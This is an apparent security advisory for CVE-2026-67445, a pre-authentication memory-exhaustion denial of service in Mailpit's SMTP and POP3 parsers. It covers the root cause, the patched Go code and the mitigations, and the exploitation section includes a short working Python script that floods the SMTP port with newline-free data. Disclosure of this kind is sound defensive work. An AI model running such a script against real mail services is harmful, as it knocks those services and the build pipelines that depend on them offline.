CVE-2026-67445: Uncontrolled Memory Resource Consumption in Mailpit SMTP and POP3 Services

Mailpit is an open-source email testing tool and API designed for developer environments. It features built-in SMTP and POP3 servers to capture and test email traffic locally. The vulnerability CVE-2026-67445 exists within the command-handling parsers of both protocol interfaces prior to version 1.30.4.

This flaw is classified under CWE-400 (Uncontrolled Resource Consumption). It allows network-adjacent or remote attackers to bypass resource limitations before protocol parsing or authentication is enforced. Because these services are commonly run without restrictive firewalls in local development or test suites, the attack surface is substantial.

The denial-of-service condition directly impacts system availability. Since Mailpit is frequently integrated into automated continuous integration and continuous deployment pipelines, a crash in the mail daemon often stalls active software build verification processes.

The underlying technical flaw stems from Mailpit's reliance on Go's standard library bufio.Reader.ReadString('\n') inside internal/smtpd/smtpd.go and internal/pop3/server.go. This method continuously reads data from the network connection into heap-allocated memory until it encounters a newline delimiter byte.

According to SMTP and POP3 standards (RFC 5321 and RFC 1939), command lines must not exceed 512 and 255 octets respectively. Mailpit does implement checks to enforce these size ceilings. However, in vulnerable versions, this length validation occurs within downstream parsing functions such as session.parseLine(), only after the full command line has already been read and allocated.

An attacker can open a socket and stream a continuous sequence of characters without transmitting a newline byte. The bufio.Reader continually resizes and expands the target byte slice on the heap. Because this occurs prior to entering the email body transmission phase, standard protections like MaxMessageSize are completely bypassed, leading to out-of-memory crashes.

We can analyze the patch flow to understand how Mailpit mitigated this uncontrolled buffer allocation vulnerability.

In the vulnerable implementation, the command parsing loop utilized unbounded reads on a default-sized buffer, facilitating memory growth. The maintainers corrected this behavior in release 1.30.4 by implementing fixed-size buffer limits. In the POP3 handler (internal/pop3/server.go), the patch limits the reader size explicitly and validates the read state using ReadLine:

// PATCHED
reader := bufio.NewReaderSize(conn, 512)
...
lineBytes, isPrefix, err := reader.ReadLine()
...
if isPrefix {
    // Command line exceeds RFC 1939's 255-octet limit; drain and reject.
    for isPrefix {
        _, isPrefix, err = reader.ReadLine()
        if err != nil {
            return
        }
    }
    sendResponse(conn, "-ERR line too long")
    continue
}

The corresponding fix was applied to the SMTP session parser (internal/smtpd/smtpd.go). Instead of reading indefinitely via ReadString, the patched system restricts the SMTP input buffer to 2048 bytes:

// PATCHED
s.br = bufio.NewReaderSize(conn, 2048)
...
lineBytes, isPrefix, err := s.br.ReadLine()
if err != nil {
    return "", err
}
if isPrefix {
    // The command line exceeds the reader buffer; drain the remainder then reject.
    for isPrefix {
        _, isPrefix, err = s.br.ReadLine()
        if err != nil {
            return "", err
        }
    }
    return "", errLineTooLong
}

When isPrefix returns true, it signifies that the network buffer limit was reached before a newline delimiter was encountered. The updated logic avoids heap exhaustion by loop-draining the remaining data off the socket and discarding it, returning an error response without allocating additional memory.

Exploitation of CVE-2026-67445 requires minimal protocol-level compliance and zero authentication. An attacker must simply establish a standard TCP connection to either the SMTP port (default 1025) or the POP3 port (default 1110) and transmit a long byte sequence without sending the newline character (\n).

The execution is reliable because it targets Go's low-level heap memory allocation mechanics. An attacker can stream several megabytes of dummy characters. Multiple concurrent connections running this process will exhaust the virtual memory allocated to the Mailpit container or VM, prompting the kernel's Out-Of-Memory (OOM) killer to terminate the daemon.

A single-threaded python script can illustrate the memory allocation behavior on vulnerable targets:

import socket
import time
 
target_host = "127.0.0.1"
target_port = 1025
large_chunk = b"A" * 1024 * 1024  # 1 MB block
 
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_host, target_port))
    banner = s.recv(1024)
    
    # Stream 128 MB of data slowly without a newline character
    for _ in range(128):
        s.sendall(large_chunk)
        time.sleep(0.01)
        
    s.sendall(b"\n")
    s.close()
except ConnectionResetError:
    print("Connection closed - Target system likely crashed or depleted memory")

The direct impact of CVE-2026-67445 is classified as moderate, yielding a CVSS score of 5.3. This represents a complete Denial of Service (DoS) of the Mailpit binary. Because Mailpit does not self-recover from OOM terminations, manual or automated process restarts are required to restore service availability.

The vulnerability is highly accessible because it exists in the pre-authentication phase of both the SMTP and POP3 processes. Therefore, anyone who can reach the open port on the network can trigger the memory exhaustion. This makes exposing Mailpit instances to the public internet highly risky.

No data disclosure or execution of unauthorized operations is associated with this vulnerability. The risk is limited to service availability, rendering this a localized but highly reliable denial of service threat.

The recommended remediation is upgrading Mailpit to version 1.30.4 or higher. This update properly addresses the memory leak by dropping connection lines exceeding 2048 bytes for SMTP and 512 bytes for POP3.

For systems where an immediate patch is impossible, deploy local network-level restrictions. Ensure that the Mailpit SMTP and POP3 ports are strictly restricted to localhost or trusted internal networks. Implement security groups or iptables rules to drop connections originating from untrusted hosts.

Additionally, you can leverage container orchestrators like Docker or Kubernetes to limit resource consumption. Enforce strict memory limits (e.g., --memory="512m") on the Mailpit container. Combine this with container restart policies to automatically bring the service back online if an OOM event occurs.